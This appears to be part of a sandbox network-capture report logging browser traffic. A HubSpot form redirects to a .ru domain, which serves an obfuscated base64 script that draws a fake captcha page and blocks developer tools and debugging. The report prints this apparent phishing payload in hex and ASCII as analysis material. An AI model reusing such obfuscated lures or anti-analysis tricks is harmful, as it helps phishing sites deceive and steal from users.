_cfuvid=VN5n.Adl.p4xAyEfZ.ZOJulAGeSwzFo2b7.EZmW0_Ho-1734371133683-0.0.1.1-604800000; path=/; domain=.hsforms.com; HttpOnly; Secure; SameSite=None Server: cloudflare
2024-12-16 17:45:33 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 66 33 30 37 63 64 66 66 62 35 36 34 32 33 34 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 8f307cdffb564234-EWRalt-svc: h3=":443"; ma=86400
2024-12-16 17:45:33 UTC	251	IN	Data Raw: 66 35 0d 0a 7b 22 66 6f 72 6d 47 75 69 64 22 3a 22 30 39 36 65 37 37 64 30 2d 62 39 32 62 2d 34 62 63 64 2d 62 35 30 35 2d 66 36 64 65 31 63 66 64 63 62 64 62 22 2c 22 61 63 63 65 70 74 65 64 22 3a 74 72 75 65 2c 22 63 6f 6e 76 65 72 73 69 6f 6e 49 64 22 3a 22 33 61 66 34 30 63 38 65 2d 36 33 39 38 2d 34 64 32 36 2d 61 30 64 66 2d 66 37 31 65 31 64 66 64 34 34 31 33 22 2c 22 72 65 64 69 72 65 63 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 71 62 30 36 2e 66 66 63 77 79 67 66 66 2e 72 75 2f 35 47 34 59 56 2f 3f 73 75 62 6d 69 73 73 69 6f 6e 47 75 69 64 3d 33 61 66 34 30 63 38 65 2d 36 33 39 38 2d 34 64 32 36 2d 61 30 64 66 2d 66 37 31 65 31 64 66 64 34 34 31 33 22 2c 22 61 75 74 6f 6d 61 74 69 63 4c 69 6e 6b 65 72 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: f5{"formGuid":"096e77d0-b92b-4bcd-b505-f6de1cfdcbdb","accepted":true,"conversionId":"3af40c8e-6398-4d26-a0df-f71e1dfd4413","redirectUrl":"https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413","automaticLinker":false}
2024-12-16 17:45:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49766	104.16.117.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:33 UTC	1091	OUT	GET /__ptq.gif?k=18&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371129218&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
2024-12-16 17:45:33 UTC	1202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:33 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307ce209b3c3fa-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 7 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-wkgqd x-evy-trace-virtual-host: all x-hubspot-correlation-id: 07f3aa11-6877-49b2-a849-4cafd7908222 x-request-id: 07f3aa11-6877-49b2-a849-4cafd7908222 x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eHTS6cnWY9FMY2rrW33BtC%2Fv3gq3Qx%2FKSe4d9hBYHv1vh1S68HhcjqQsJHD3c2BWqsZnqdtrTGomcb4FGh3wpJSZMiyYHwH1L8DJnbWLzo31t2Aq%2B6AwWfsxgQJBVD%2BgQYWE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:45:33 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	49767	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:35 UTC	977	OUT	GET /submissions/v3/public/submit/formsnext/multipart/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:35 UTC	900	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 16 Dec 2024 17:45:35 GMT Content-Type: text/html;charset=iso-8859-1 Transfer-Encoding: chunked Connection: close allow: POST,OPTIONS Cache-Control: max-age=0, no-cache, no-store access-control-allow-credentials: false vary: origin x-content-type-options: nosniff x-envoy-upstream-service-time: 2 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 5d568be8-c534-4173-ba15-20b36fcbce0e x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-kf895 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 5d568be8-c534-4173-ba15-20b36fcbce0e CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307cebe84a43b5-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:35 UTC	235	IN	Data Raw: 65 35 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 32 3e 48 54 54 50 20 45 52 52 4f 52 20 34 30 35 3c 2f 68 32 3e 0a 3c 70 3e 52 65 61 73 6f 6e 3a 0a 3c 70 72 65 3e 20 20 20 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 70 72 65 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e5<html><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/><title>Error 405 Method Not Allowed</title></head><body><h2>HTTP ERROR 405</h2><p>Reason:<pre> Method Not Allowed</pre></p></body></html>
2024-12-16 17:45:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49768	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:35 UTC	1085	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:35 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:35 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 1 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: a0c5a518-f354-4aed-bd74-b395cd8345d5 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-zpgzg x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: a0c5a518-f354-4aed-bd74-b395cd8345d5 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307cebf97ade97-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:35 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49771	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:36 UTC	849	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:37 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:37 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 3 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: eae95d76-6034-4a37-aaf6-a8e670841e1f x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-kf895 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: eae95d76-6034-4a37-aaf6-a8e670841e1f CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307cf6acb743f4-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:37 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49773	104.21.60.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:36 UTC	760	OUT	GET /5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 HTTP/1.1 Host: qb06.ffcwygff.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:37 UTC	1251	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iLEEuTuFG9x266DnygD7gpteVDlPR3dJHBEC14LqhNoO1XjIQPfLe%2FCbe4ZMRaqlYx9TXP%2FdUrB6SYn2ks5geRYGxrmtlS2fRQ89Ty7FnG5V4PTcrDKXaHgNMQYYxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3144&min_rtt=972&rtt_var=2432&sent=508&recv=142&lost=0&retrans=2&sent_bytes=629381&recv_bytes=28119&delivery_rate=44674509&cwnd=257&unsent_bytes=0&cid=076dc3a5b3e434e7&ts=233437&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IndReHZDbHBwR2pSa0lHNDZoKzNHL2c9PSIsInZhbHVlIjoia3JmMy9CWjd2MXNIZFMxbDIzS3M3U2hkbmlwdVNjOVQyNGZ1aXF6dnViVkd2ZjZzYW40T1R3M3hLL0hrVEtqMW51dkJRbFAwdzQzVFJwSFhlb00zT3IyNEttR0kzWlN3R0ZIdlFBOEQyQzVaTm1XYzlUTmVkTVJ2Tk5oNU1TNHkiLCJtYWMiOiJhY2U0YjMxM2VhOTE0YmVjMzA4MmZjNGFmYjkyOTk2ZDY5ODFkYmQ5OTFkMzlmZDM2ZTgzNjBmZjdiOTYyN2JmIiwidGFnIjoiIn0%3D; expires=Mon, 16-Dec-2024 19:45:37 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-16 17:45:37 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 4a 4c 54 48 64 33 4d 58 56 77 55 6a 42 6b 55 31 52 6f 4c 31 5a 42 52 45 74 55 56 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 46 55 72 61 45 56 55 65 48 52 7a 5a 32 4a 46 4d 30 4d 78 51 55 78 43 4e 33 70 6c 64 69 74 4c 4b 31 70 77 59 31 56 4d 52 46 51 77 56 6d 67 31 4e 47 64 4c 4e 48 51 78 56 47 64 4e 63 6c 56 46 4e 30 6b 30 54 45 64 4e 65 6d 35 61 4e 45 6c 6c 59 30 52 48 52 57 64 50 57 6b 35 79 63 69 74 4e 4f 48 64 44 55 57 4e 6e 51 6a 6c 61 4e 56 52 76 51 57 56 4b 4e 58 4e 50 64 45 4e 6c 52 6c 52 6a 54 6b 74 6e 55 47 4e 58 62 45 39 48 5a 6a 51 35 59 6d 59 76 62 55 52 45 55 44 64 42 4f 44 64 73 64 69 38 34 4e 58 42 4a 56 46 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImJLTHd3MXVwUjBkU1RoL1ZBREtUVHc9PSIsInZhbHVlIjoiUFUraEVUeHRzZ2JFM0MxQUxCN3plditLK1pwY1VMRFQwVmg1NGdLNHQxVGdNclVFN0k0TEdNem5aNEllY0RHRWdPWk5ycitNOHdDUWNnQjlaNVRvQWVKNXNPdENlRlRjTktnUGNXbE9HZjQ5YmYvbUREUDdBODdsdi84NXBJVFU
2024-12-16 17:45:37 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 52 59 6a 41 32 4c 6d 5a 6d 59 33 64 35 5a 32 5a 6d 4c 6e 4a 31 4c 7a 56 48 4e 46 6c 57 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 Data Ascii: 7ffa<script>if(atob("aHR0cHM6Ly9RYjA2LmZmY3d5Z2ZmLnJ1LzVHNFlWLw==") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZX
2024-12-16 17:45:37 UTC	1369	IN	Data Raw: 63 6a 73 4e 43 69 41 67 49 43 42 68 62 47 6c 6e 62 69 31 70 64 47 56 74 63 7a 6f 67 59 32 56 75 64 47 56 79 4f 77 30 4b 49 43 41 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 49 43 42 6a 62 32 78 76 63 6a 6f 67 64 32 68 70 64 47 55 37 44 51 6f 67 49 43 41 67 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 69 41 79 4e 48 42 34 4f 77 30 4b 49 43 41 67 49 48 52 6c 65 48 51 74 59 57 78 70 5a 32 34 36 49 47 4e 6c 62 6e 52 6c 63 6a 73 4e 43 6e 30 4e 43 69 35 6a 59 58 42 30 59 32 68 68 4c 57 4a 76 65 43 42 37 44 51 6f 67 49 43 41 67 5a 47 6c 7a 63 47 78 68 65 54 6f 67 5a 6d 78 6c 65 44 73 4e 43 69 41 67 49 43 42 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4f 69 41 6a 4d 44 41 77 4d 44 41 77 4f 47 45 37 44 51 6f 67 49 43 41 67 5a 6d 78 6c 65 43 31 Data Ascii: cjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGhlaWdodDogMTAwJTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5jYXB0Y2hhLWJveCB7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBiYWNrZ3JvdW5kOiAjMDAwMDAwOGE7DQogICAgZmxleC1
2024-12-16 17:45:37 UTC	1369	IN	Data Raw: 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 68 6c 59 32 74 74 59 58 4a 72 4f 6a 70 68 5a 6e 52 6c 63 69 42 37 44 51 6f 67 49 43 41 67 59 32 39 75 64 47 56 75 64 44 6f 67 49 69 49 37 44 51 6f 67 49 43 41 67 63 47 39 7a 61 58 52 70 62 32 34 36 49 47 46 69 63 32 39 73 64 58 52 6c 4f 77 30 4b 49 43 41 67 49 47 78 6c 5a 6e 51 36 49 44 56 77 65 44 73 4e 43 69 41 67 49 43 42 30 62 33 41 36 49 44 46 77 65 44 73 4e 43 69 41 67 49 43 42 33 61 57 52 30 61 44 6f 67 4e 6e 42 34 4f 77 30 4b 49 43 41 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 4a 77 65 44 73 4e 43 69 41 67 49 43 42 69 62 33 4a 6b 5a 58 49 36 49 48 4e 76 62 47 6c 6b 49 43 4d 30 59 32 46 6d 4e 54 41 37 44 51 6f 67 49 43 41 67 59 6d 39 79 5a 47 56 79 4c 58 64 70 5a 48 52 6f 4f 69 41 77 49 44 4e 77 65 43 41 7a Data Ascii: mNhcHRjaGEtY2hlY2ttYXJrOjphZnRlciB7DQogICAgY29udGVudDogIiI7DQogICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgIGxlZnQ6IDVweDsNCiAgICB0b3A6IDFweDsNCiAgICB3aWR0aDogNnB4Ow0KICAgIGhlaWdodDogMTJweDsNCiAgICBib3JkZXI6IHNvbGlkICM0Y2FmNTA7DQogICAgYm9yZGVyLXdpZHRoOiAwIDNweCAz
2024-12-16 17:45:37 UTC	1369	IN	Data Raw: 6f 67 49 43 41 67 64 32 6c 6b 64 47 67 36 49 44 45 77 4d 43 55 37 44 51 6f 67 49 43 41 67 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 67 4d 54 42 77 65 44 73 4e 43 6e 30 4e 43 67 30 4b 4c 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 39 75 64 47 56 75 64 43 42 70 62 57 63 67 65 77 30 4b 49 43 41 67 49 48 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 77 30 4b 49 43 41 67 49 47 31 68 63 6d 64 70 62 69 31 69 62 33 52 30 62 32 30 36 49 44 45 77 63 48 67 37 44 51 70 39 44 51 6f 4e 43 69 35 6a 59 58 42 30 59 32 68 68 4c 57 4e 76 62 6e 52 6c 62 6e 51 67 61 57 35 77 64 58 51 67 65 77 30 4b 49 43 41 67 49 48 64 70 5a 48 52 6f 4f 69 42 6a 59 57 78 6a 4b 44 45 77 4d 43 55 67 4c 53 41 79 4d 48 42 34 4b 54 73 4e 43 69 41 67 49 43 42 77 59 57 52 6b 61 57 35 6e 4f 69 41 31 63 Data Ascii: ogICAgd2lkdGg6IDEwMCU7DQogICAgbWFyZ2luLXRvcDogMTBweDsNCn0NCg0KLmNhcHRjaGEtY29udGVudCBpbWcgew0KICAgIHdpZHRoOiAxMDAlOw0KICAgIG1hcmdpbi1ib3R0b206IDEwcHg7DQp9DQoNCi5jYXB0Y2hhLWNvbnRlbnQgaW5wdXQgew0KICAgIHdpZHRoOiBjYWxjKDEwMCUgLSAyMHB4KTsNCiAgICBwYWRkaW5nOiA1c
2024-12-16 17:45:37 UTC	1369	IN	Data Raw: 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 Data Ascii: rZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KIC
2024-12-16 17:45:37 UTC	1369	IN	Data Raw: 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 48 5a 44 53 57 31 76 63 31 68 59 52 47 49 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 5a 47 56 69 64 57 64 6e 5a 58 49 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 46 68 7a 64 33 4e 57 64 31 70 36 53 46 59 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 67 4b 46 68 7a 64 33 4e 57 64 31 70 36 53 46 59 67 4c 53 42 32 51 30 6c 74 62 33 4e 59 57 45 52 69 49 44 34 67 54 6d 74 4c 63 58 68 54 62 30 35 4a 63 69 41 6d 4a 69 41 68 64 31 70 51 65 45 6c 50 56 33 56 45 64 43 6b 67 65 77 30 4b 49 43 41 67 49 43 41 Data Ascii: KSB7DQogICAgICAgIGNvbnN0IHZDSW1vc1hYRGIgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgZGVidWdnZXI7DQogICAgICAgIGNvbnN0IFhzd3NWd1p6SFYgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgaWYgKFhzd3NWd1p6SFYgLSB2Q0ltb3NYWERiID4gTmtLcXhTb05JciAmJiAhd1pQeElPV3VEdCkgew0KICAgICA
